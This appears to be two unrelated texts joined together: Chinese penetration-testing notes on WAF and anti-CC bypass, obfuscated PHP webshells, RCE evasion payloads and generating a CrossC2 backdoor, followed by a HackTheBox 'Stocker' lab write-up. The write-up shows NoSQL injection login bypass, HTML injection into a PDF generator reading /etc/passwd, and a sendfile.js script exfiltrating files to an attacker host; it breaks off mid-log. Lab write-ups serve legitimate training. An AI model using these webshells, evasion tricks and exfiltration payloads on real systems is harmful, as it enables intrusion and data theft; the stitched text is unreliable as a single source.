可以实现对手机流量的自动扫描，由于手机和电脑不在同一ip段，需要先通过burp代理手机上的流量
在通过burp的流量出口代理到xray，从而实现对手机软件的自动扫描
###### cc攻击是什么？如何防御CC攻击？
找一些网络上的代理，不断的访问某一个网站，占用网站的连接数资源，
当同一时间内连接到某一个网站内的连接数达到限制条件时，网站会直接崩溃。
可以开启WAF，或者识别真实访问地址，如果是同一目标，阻止其访问。
### 30.如何对所测网站进行扩大目标？实现信息收集的最大化？
端口类扫描，如80是一个网站，8080又是另一个网站
子域名收集，跑字典或者在google上搜索可能相关的域名 layer google搜索 teemo
域名后缀收集，查看不同的网站的后缀，是否属于同一个公司
关键词搜索，搜索到公司名字之后，直接引擎搜索该公司
whois查询，查域名的注册人，域名登记
对所有web均扫描，目录扫描，敏感文件扫描 如御剑 dirmap
ip访问，ip对应的地址目录比网站的目录要高，可能获取到敏感源码
就是需要不断的扫，不断的访问，接着获取到更多的目标接着扫，渗透是一个不断的排除的过程
针对每一个服务进行测试排除，是否能利用EXP，能否拿到权限，写入webshell
###### 如收集到某一个网站的端口8080有tomcat服务，该如何测试？
在相关漏洞平台里边如exploit-db，seebug，0day上搜索相关tomcat是否存在高危漏洞，用本地的searchexploit进行搜索漏洞加以利用，并进行漏洞验证，或者找网络上公开的文章进行漏洞的复现。
###### 端口类的服务怎么检测弱口令？
用hydra九头蛇来检测，或者用可视化的超级弱口令检测工具，
可以自定义字典，也可以使用默认的字典进行爆破
注意sql爆破的时候root账户有可能不支持外联
###### 什么是wsdl？对网站的漏洞测试有什么影响？
WSDL 是基于 XML 的用于描述 Web Services 以及如何访问 Web Services 的语言。
wsdl是用来定义一些网络中的接口的语言的，也是有可能存在漏洞的
可以通过搜索wsdl类似的关键词来获取到有调用这个接口的url地址
通过awvs工具可以对wsdl接口进行漏洞扫描并会暴露出exp，可以漏洞验证
###### sqlmap如何在任意位置进行数据的注入？
将数据包截获到，将需要注入的地方用x*代替，执行python sqlmap.py -r 1.txt --batch就可以开始sql注入了
如果是post注入，也可以将post的数据包原封不动的放着，执行命令ython sqlmap.py -r 1.txt -p name,其中name表示要注入的参数
### 31.cc未开启时，如何绕过安全狗？
head和get都是去请求，前者稍微快一些，cc防护未开启时，安全狗会拦截head，模拟用户提交数据时的数据包，经对比发现，get请求的数据包不会被拦截，因此需要把默认的目录扫描的head请求变化为get请求。
cc未开启时，可以更换提交方法或者直接将数据包模拟成真实的用户所提交的数据进行请求。
###### cc流量防护开启了，如何绕过安全狗？
可以采用延时访问，或者代理池技术或者搜索引擎的爬虫技术绕过。
光是模拟用户扫描网站，即user-agent位置为一个单一的用户的时候，是不能成功的避开cc防御的，需要模拟搜索引擎的爬虫技术。
cc主要防御的是同一时间内连接到网站的连接数，就是打开不关闭的情况，用代理池技术进行漏扫可以绕过cc。代理池技术可以使用python爬取免费的代理之后进行指定次数换代理访问，或者利用ptoxy_pool，或者购买网络上收费的代理产品。
###### 如何绕过阿里云的cc防护？
需要进行相关的测试，经测试发现延时或代理池可以绕过。
###### 绕过waf的思路？
查看工具数据包与用户数据包的区别，查看waf的相关说明，fuzz模糊测试
宝塔会禁止对bak文件的扫描，可以尝试对字典做调整，如bak%20等，或者减缓速度或者对线程优化。
实际应用中，要进行多次的测试，尝试找突破口。
### 31.漏洞发现的时候如何绕过WAF？
一般是通过延时，模拟搜索引擎爬虫或者代理池技术搞，但是延时速度太慢，一般不采用，优先选用代理池技术。
可以联动awvs+burp+xray，通过burp的user options做代理端口转发可以更详细的看出来数据包的速度
此时用awvs开始对网站进行测试的时候，xray中也同步进行了测试，实现了两个工具的联动
proxy_pool适合爬虫，但是不适合过WAF，想要过WAF还是需要用付费代理
###### 漏洞利用时如何绕过waf？
sqlmap采用自己通过waf规则阅读总结的绕过规则写成的脚本，以tamper指定，另外设置cookie，user-agent，proxy，延时等
可以通过浏览器设置代理经过burp，再将流量转发至代理池工具，不仅能查看数据包还能实现cc的绕过
文件上传的payload可以采用截断，大小写，双写绕过，尾部为空，点绕过，php5，::$DATA等方式绕过
xsstrike可以设置proxy，timeout等方式，但是需要一些其他的触发，攻击成本大
###### 加密有哪些类型？
可逆的：如base64，hex，url ，ascii（可以直接解密）
不可逆：如md5，AES，sha256 （md5解密是枚举破解）
###### RCE执行漏洞中如何进行WAF的绕过？
考虑到加密方式，但是如果对方是宝塔会讲base64编码方式过滤，采用其他可逆的算法
其中hex加密phpinfo();就是706870696E666F28293B
txt=$hex='706870696E666F28293B';assert(pack("H*",$hex));
或者采用替换的方法，替换掉敏感的字符串,或者直接传参
txt=$y=str_replace('x','','phpxinxfo();');assert($y);
txt=$x='asse';$xx='rt';$xxx=$x.$xx;$y=str_replace('x','','phpxinxfo();');$xxx($y);
txt=$z=REQUEST['x']$y=str_replace('x','','phpxinxfo();');$z($y);并在其他提交方式上传x
根据过滤规则来考虑采用哪用绕过方式，报错之后就尝试其他的方式
###### 文件包含漏洞绕过WAF？
需要进行符号变异，如../ ..\ ./ .\等方式
###### 常见的php一句话后门？
<?php @eval($_POST['x']);?> eval是敏感函数，容易被过滤
<?php assert($_POST['x']);?> 一般在这个基础上进行调整，
###### 如何绕过常见waf对一句话后门的拦截？
需要本地搭建相同的环境进行测试，如宝塔需要尝试以下方式绕过对payload的检测
上传的后门代码的文件名字不能是非常敏感的名字，如shell.php是不支持的
变量覆盖的方法如下
<?php $a=$_GET['x'];$aa=$_GET['y'];$b($_POST['z'])?>
x=b&y=assert并后门密码是post的z
这种方式可以成功绕过，但宝塔会对z的传入的phpinfo();进行过滤拦截，此时需要加密
如z=cGhwaW5mbygpOw==
于此同时，就需要在传入的后门文件中进行base64解码
即最初的后门文件变为了<?php assert(base64_decode($_POST['x']));?>
###### 加密文件的方法：
通过 https://github.com/djunny/enphp 加密最初的后门文件
或者利用网上接口 https://www.phpjiami.com/phpjiami.html 进行加密后门文件
加密之后是乱码形式，没有密匙的话无法解密，可绕过宝塔安全狗
###### 异或生成的方法：
在本地的异或生成的代码上直接生成php的后门文件，此后门可作为蚁剑的后门工具
如果要进行base64加密后的值传输的话，需要根据生成的后门文件的代码设置id的值
专门生成蚁剑后门代码的工具 https://github.com/yzddmr6/as_webshell_venom
###### 蚁剑的指纹头造成文件管理时无法显示文件的问题怎么处理？
抓取蚁剑能正常文件管理的数据包时进行分析，发现蚁剑也是执行了相关敏感操作之后的加密信息
现在已经将后门代码写入到了对方的服务器，只需要自己写后门读取或者写入文件到对方后台
可以利用var_dump(scandir('.'))读取本级的目录，并且进行base64编码后传入到自己的后门地址中
可以利用file_put_contents('xiaodi.txt','xigua')写文件到对方本级目录，同样需要base64编码
甚至可以自己编写python脚本，去实现文件浏览的功能
### 32.snetcracker即超级弱口令工具的安装和使用？协议弱口令自查。
在windows上可以正常使用，使用时根据需要选择是否添加新的字典，或者新的密码，选择是否只用一个账户
在mac上pd中有问题，没有解决 ChilkatDotNet4.dll 有报错未能加载
此款工具主要针对非web协议的弱口令暴力破解，是可视化里边爆破服务工具
### 33.服务自查工具？
linux：https://github.com/rebootuser/LinEnum
可以查看到当前linux机器上的很多相关信息
windows：Get-WmiObject -class Win32_Product
可以直接找到主机中存在的服务，配合searchexploit进行漏洞的利用及复现
###### 应急响应有哪些工具值得使用？
https://github.com/diogo-fernan/ir-rescue 是应急响应的军火库，集成了大量的工具可供使用
windows: TCPview，Process Exploer，PChunter，UserAssitView.exe,autoruns 查看相关进程服务端口任务计划启动项等
linux: GScan,LinEnum,linuxprivchecker 查看服务器相关信息，是否有漏洞，进行自动扫描
###### linux漏洞收集：
LinEnum.sh/linuxprivchecker收集特定信息，为后续提权做准备 ./LinEnum.sh
python3 -m pip install --user --upgrade pip==20.3.4 && pip install linuxprivchecker &&python3 -m linuxprivchecker -w -o linuxprivchecker.log
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh && ./les.sh
perl linux-exploit-suggester-2.pl
###### windows漏洞收集：
https://github.com/bitsadmin/wesng systeminfo > 1.txt 需要提前通过webshell拿到对方的systeminfo信息对比 python wes.py 1.txt -o vuln.c
https://github.com/chroblert/WindowsVulnScan pip install requests -i http://pypi.douban.com/simple --trusted-host=pypi.douban.com
PS:.\KBcontroller.ps1 cmd:python cve-check.py -C -f KB.json
###### 什么是勒索病毒？
勒索病毒，是一种新型电脑病毒，主要以邮件、程序木马、网页挂马的形式进行传播。
该病毒性质恶劣、危害极大，一旦感染将给用户带来无法估量的损失。
这种病毒利用各种加密算法对文件进行加密，被感染者一般无法解密，必须拿到解密的私钥才有可能破解
lesuobingdu.360.cn，https://www.nomoreransom.org/zh/index.html 等可进行解密勒索，分析病毒
中了勒索病毒之后，电脑所有的文件都被加密，无法使用
###### 如何防范勒索病毒？
查看官方给的补丁，及时打补丁，不下载恶意程序
勒索病毒的传输主要是不经意间下载了某些程序
### 34.应急响应的步骤：
保护阶段：主要是断网，防止对方的继续渗透
分析阶段：通过给出的时间来分析日志信息，判断对方的攻击行为
复现阶段：复现对方的攻击，对方到底是怎样将数据传输到服务器的，利用了哪个漏洞
修复阶段：打上合适的补丁，或者修改相关配置文件，部署WAF等操作
建议阶段：怎么能有效的防止下次的攻击
###### 怎么寻找日志的存储路径？
一般对方的服务器默认会开启，不论是宝塔还是mysql，都会有存储
通过配置文件或者包含文件去查到这个文件目录，然后对日志进行分析
###### 分析sql注入有什么技巧？SQL注入有哪些危害？
可以分析相关的关键字在日志文件中全局搜索，如select，insert，sqlmap，pwd
或者对方遗留在web上的后门文件中的特殊命名，以及后门中的一些关键信息，以及对方的IP
将对方在什么时候干了什么事，以何种方式达到的目的，利用了哪些漏洞都分析出来
对方通过sql注入不仅可以弱口令，sql注入，提升权限，窃取备份，
而且当其权限提高到服务器权限时，甚至可以删除服务器的日志
需要确定sql日志是否为开启状态，分析时可以通过当个日志人为分析，也可借助其他工具
###### 日志分析的工具有哪些？如何检测自己的服务器上有没有payload？
大数据分析平台ELK和spunk，前者可以直接用docker进行搭建
用360星图可以图形化的分析一些简单的日志
windows上的日志用fileseek可以批量进行搜索查询
logfusion可以分析一些网站服务器或日志的信息，判断什么时候被爆破，进行追朔
###### 筛选到了漏洞之后如何防护？
尝试跟随攻击者的exp进行复现，搜索相关补丁或者转移端口，开启更多的WAF规则等
日志被删除了有什么办法恢复日志信息？日志被删除且无法恢复的情况下应该怎么做应急处理？
靠自己的办法是没有办法恢复的，需要去找一些收费的产品恢复日志，如果没有日志，则需要从红队的角度出发，查看自己服务器的漏洞
查看自己服务器有哪些可以利用的exp，并一一去验证这些漏洞的真实存在性
### 35.Linux-grep 筛选：
统计了下日志，确认服务器遭受多少次暴力破解
grep -o "Failed password" /var/log/secure|uniq -c
输出登录爆破的第一行和最后一行，确认爆破时间范围：
grep "Failed password" /var/log/secure|head -1
grep "Failed password" /var/log/secure|tail -1
进一步定位有哪些 IP 在爆破？
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9[0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c | sort -nr
爆破用户名字典都有哪些？
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
登录成功的日期、用户名、 IP：
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
###### linux服务器怎么走自己的代理？
根据橘子云官方的配置文件，将自己的clash订阅链接拿到，并且启动clash
export https_proxy="socks5://127.0.0.1:7890" && export http_proxy="http://127.0.0.1:7890"
curl -vv www.google.com检验自己是否能上外网
linux机器在cs中上线：
linux 借助 CrossC2 项目： netstat -ntulp
https://github.com/gloxec/CrossC2
参考过程： http://www.adminxe.com/1287.html
项目上传至服务端目录，给予执行权限
配置监听器： windows/beacon_https/reverse_https 端口放行
生成后门：./genCrossC2.Linux 110.42.178.227 5566 null null Linux x64 C2
通过网络监听工具及 windows 日志分析或执行记录查找后门问题
### 36.根据端口查服务：
linux：netstat -tunlp | grep 5000
windows：netstat -aon | findstr "端口号" tasklist|findstr "PID"
###### 进程和线程的区别：
做个简单的比喻：进程=火车，线程=车厢
线程在进程下行进（单纯的车厢无法运行）
一个进程可以包含多个线程（一辆火车可以有多个车厢）
不同进程间数据很难共享（一辆火车上的乘客很难换到另外一辆火车，比如站点换乘）
同一进程下不同线程间数据很易共享（A车厢换到B车厢很容易）
进程要比线程消耗更多的计算机资源（采用多列火车相比多个车厢更耗资源）
进程间不会相互影响，一个线程挂掉将导致整个进程挂掉（一列火车不会影响到另外一列火车，但是如果一列火车上中间的一节车厢着火了，将影响到所有车厢）
进程可以拓展到多机，进程最多适合多核（不同火车可以开在多个轨道上，同一火车的车厢不能在行进的不同的轨道上）
进程使用的内存地址可以上锁，即一个线程使用某些共享内存时，其他线程必须等它结束，才能使用这一块内存。（比如火车上的洗手间）－"互斥锁"
进程使用的内存地址可以限定使用量（比如火车上的餐厅，最多只允许多少人进入，如果满了需要在门口等，等有人出来了才能进去）－“信号量”
### 36.根据pocsuite指定自己的脚本进行测试，判断有没有此漏洞，进行漏洞验证
```
python cli.py -u http://42.200.64.221:4848/ -r weblogic_selef.py --verify
根据可能注入的sql注入点，进行sqlmap的批量测试
python sqlmapapi.py -s
python sqlmapapi1.py
```
id -> root(0) -> 程序用户(1~499) -> 普通用户(500~65545)
win命令 -> net user -> netstat start -> netstat -an -> whoami -> id -> tasklist /svc -> type
安卓测试 -> 抓包 + 反编译 + 提取url
IP扫描 -> 域名站点往往比IP站点的解析少一级 -> ip扫描源码备份可能性高一些
信息收集 -> 目录型网站、端口类网站、子域名网站、同类公司网站、whois查询、第三方接口或界面
cms查询 -> python cmseek.py -u http://1.117.52.219:8000
子域名查询 -> python3 oneforall.py --target chentuo.asia run
源码泄漏 -> windows chentuo.asia.zip 或rar / linux chentuo.asia.tar.gz 扫描目录
.git泄漏 -> python2 Githack.py http://chentuo.asia/.git/
.svn泄漏 -> 目录网站.svn如有资源,python3 SvnExploit.py -u http:/127.0.0.1/.svn --dump
web.xml泄漏 -> WEB-INF/classes/cn/abc/servlet/DownloadServlet.class 下载文件一般是post方式
github搜索 -> 在源码中发现敏感的qq或者身份信息，利用github进行搜索获取敏感代码
waf识别 -> python3 wafw00f/main.py http://www.chentuo.asia
旁注查网站 -> 同一ip不同网址 https://webscan.cc/site_xyh.sdju.edu.cn/
C段查网站 -> 同一网段不同ip https://chapangzhan.com/210.35.68.0/24
ip反查 -> 利用ip获取服务器解析域名
cdn查询 -> nslookup ，http://17ce.com/，https://www.wepcc.com/web.html ，情报社区查历史解析
cdn绕过 -> 子域名，去掉www，邮件服务器，国外访问，APP抓包，修改hosts，相关漏洞，扫全网，fuckcdn
arl信息收集 -> https://110.42.178.227:5003/
|
# Stocker - HackTheBox - Writeup
Linux, 20 Base Points, Easy
## Machine
## TL;DR
To solve this machine, we start by using `nmap` to enumerate open services and find ports `22`, and `80`.
***User***: Discovered the virtual host `dev.stocker.htb` and successfully bypassed authentication using NoSQL injection. Located a PDF file created with `Skia/PDF m108` and successfully injected HTML into the generated PDF. Read the local file `index.js` by obtaining the password of the `angoose` user.
***Root***: Executed `sudo -l` and discovered the ability to run `/usr/bin/node /usr/local/scripts/*.js` as `root`. Utilized this by running a reverse shell with sudo `/usr/bin/node /usr/local/scripts/../../../tmp/rev.js`, successfully obtaining a reverse shell as `root`.
## Stocker Solution
### User
Let's begin by using `nmap` to scan the target machine:
```console
┌─[evyatar9@parrot]─[/hackthebox/Stocker]
└──╼ $ nmap -sV -sC -oA nmap/Stocker 10.10.11.196
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-03 14:52 IST
Nmap scan report for 10.10.11.196
Host is up (0.078s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA)
| 256 7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA)
|_ 256 dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Observing port `80` (http://stocker.htb), we see that the following web page is hosted:
Initiated a virtual host scan using the tool `gobuster`:
```console
┌─[evyatar9@parrot]─[/hackthebox/Stocker]
└──╼ $ gobuster vhost -u stocker.htb -w ./subdomains-top1milion.txt -o vhosts -t 80
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://stocker.htb
[+] Method: GET
[+] Threads: 80
[+] Wordlist: ./subdomains-top1milion.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/02/03 14:58:22 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb (Status: 302) [Size: 28]
```
Discovered the virtual host `dev.stocker.htb` while scanning. Upon observing the URL http://dev.stocker.htb, the following web page was encountered:
By intercepting the login request, the following content was obtained:
```HTTP
POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://dev.stocker.htb
DNT: 1
Connection: close
Cookie: connect.sid=s%3AtN-kXpz_f7SGn9BmNv4UXCAS9LlzwTFH.O%2F7ZQoR80qCnMZ%2FqU4sT8NFvVUBkTuLpV%2F5OuAKt6Jo
Upgrade-Insecure-Requests: 1
username=admin&password=admin
```
Response:
```HTTP
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 03 Feb 2023 13:22:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 92
Connection: close
X-Powered-By: Express
Location: /login?error=login-error
Vary: Accept
<p>Found. Redirecting to <a href="/login?error=login-error">/login?error=login-error</a></p>
```
The login page of the website was found to be vulnerable to NoSQL Injection as described in the source https://book.hacktricks.xyz/pentesting-web/nosql-injection.
To exploit this vulnerability, we need to change the `Content-Type` to `application/json` and send a following payload:
```HTTP
POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/login
Content-Type: application/json
Content-Length: 54
Origin: http://dev.stocker.htb
DNT: 1
Connection: close
Cookie: connect.sid=s%3AtN-kXpz_f7SGn9BmNv4UXCAS9LlzwTFH.O%2F7ZQoR80qCnMZ%2FqU4sT8NFvVUBkTuLpV%2F5OuAKt6Jo
Upgrade-Insecure-Requests: 1
{"username": {"$ne": null}, "password": {"$ne": null}}
```
The following response was received after sending the payload:
```HTTP
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 03 Feb 2023 13:56:17 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 56
Connection: close
X-Powered-By: Express
Location: /stock
Vary: Accept
<p>Found. Redirecting to <a href="/stock">/stock</a></p>
```
Upon adding items to the cart, the following is observed:
Clicking on the `Submit Purchase` button results in the following:
This corresponds to the following HTTP request:
```HTTP
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 162
DNT: 1
Connection: close
Cookie: connect.sid=s%3A_C3kSkCujZj7USLqBfjWW5Yk1s__HyJt.NpaR9Big%2FUbENie5TrNkawmyz56AQRdEbjwbtmVjcec
{
"basket": [
{
"_id": "638f116eeb060210cbd83a8d",
"title": "Cup",
"description": "It's a red cup.",
"image": "red-cup.jpg",
"price": 32,
"currentStock": 4,
"__v": 0,
"amount": 1
}
]
}
```
Clicking on the link `here` results in the download of the following PDF file:
Upon inspecting the PDF file with the tool `exiftool`, it was discovered that the file was created using `Skia/PDF m108`:
```console
┌─[evyatar9@parrot]─[/hackthebox/Stocker]
└──╼ $ exiftool document.pdf
ExifTool Version Number : 12.16
File Name : document.pdf
Directory : .
File Size : 37 KiB
File Modification Date/Time : 2023:02:03 16:45:50+02:00
File Access Date/Time : 2023:02:03 16:45:50+02:00
File Inode Change Date/Time : 2023:02:03 16:45:50+02:00
File Permissions : rwxrwx---
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Tagged PDF : Yes
Creator : Chromium
Producer : Skia/PDF m108
Create Date : 2023:02:03 14:45:18+00:00
Modify Date : 2023:02:03 14:45:18+00:00
```
Our HTML code can be injected into this PDF file by using the following JSON payload:
```HTTP
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 227
DNT: 1
Connection: close
Cookie: connect.sid=s%3A_C3kSkCujZj7USLqBfjWW5Yk1s__HyJt.NpaR9Big%2FUbENie5TrNkawmyz56AQRdEbjwbtmVjcec
{
"basket": [
{
"_id": "638f116eeb060210cbd83a8d",
"title": "<iframe src='file:///etc/passwd' width='500' height='1060'></iframe>",
"description": "It's a red cup.",
"image": "red-cup.jpg",
"price": 32,
"currentStock": 4,
"__v": 0,
"amount": 1
}
]
}
```
By sending the payload, the following response was obtained:
```HTTP
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 03 Feb 2023 12:43:43 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close
X-Powered-By: Express
ETag: W/"35-qrQFK6xlPFMKT+7JQPQvpKDsH1s"
{"success":true,"orderId":"63dd8e1f9d443a3cead86ef1"}
```
By accessing the URL http://dev.stocker.htb/api/po/63dd8ef49d443a3cead86ef6, we were able to retrieve the content of the file `/etc/passwd`:
Using the [sendfile.js](./sendfile.js) script, we can read a local file on the server and send it as a base64 encoded string to our web server:
```javascript
async function sendFileContent(filePath) {
// Load the file content
var fileContent = await loadFile(filePath);
// Encode the file content as base64
var base64Content = btoa(fileContent);
// Send the base64-encoded content to the server
var response = await fetch(`http://10.10.14.14:8000/${base64Content}`);
// Check the response status
if (response.ok) {
console.log("File content sent successfully");
} else {
console.error("Failed to send file content");
}
}
async function loadFile(filePath) {
return new Promise(function (resolve, reject) {
var xhr = new XMLHttpRequest();
xhr.open("GET", filePath, true);
xhr.responseType = "text";
xhr.onload = function () {
if (xhr.readyState === xhr.DONE) {
if (xhr.status === 200) {
resolve(xhr.response);
} else {
reject(xhr.statusText);
}
}
};
xhr.onerror = function () {
reject(xhr.statusText);
};
xhr.send();
});
}
sendFileContent("/etc/passwd");
```
The following request can be sent to include the script:
```HTTP
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 227
DNT: 1
Connection: close
Cookie: connect.sid=s%3A_C3kSkCujZj7USLqBfjWW5Yk1s__HyJt.NpaR9Big%2FUbENie5TrNkawmyz56AQRdEbjwbtmVjcec
{
"basket": [
{
"_id": "638f116eeb060210cbd83a8d",
"title":"<script src='http://10.10.14.14:8000/sendfile.js'></script>",
"description": "It's a red cup.",
"image": "red-cup.jpg",
"price": 32,
"currentStock": 4,
"__v": 0,
"amount": 1
}
]
}
```
And by analyzing the GET request, we can see that it is sending the base64 content of the local file `/etc/passwd`:
```console
┌─[evyatar9@parrot]─[/hackthebox/Stocker]
└──╼ $ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.196 - - [04/Feb/2023 01:14:13] "GET /sendfile.js HTTP/1.1" 200 -
10.10.11.196 - - [04/Feb/2023 01:14:14] code 404, message File not found
10.10.11.196 - - [04/Feb/2023 01:14:14] "GET /cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTI6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMzo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwOToxMTY6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMTA6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTExOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1jb3JlZHVtcDp4Ojk5OTo5OTk6c3lzdGVtZCBDb3JlIER1bXBlcjovOi91c3Ivc2Jpbi9ub2xvZ2luCmZ3dXBkLXJlZnJlc2g6eDoxMTI6MTE5OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbW9uZ29kYjp4OjExMzo2NTUzNDo6L2hvbWUvbW9uZ29kYjovdXNyL3NiaW4vbm9sb2dpb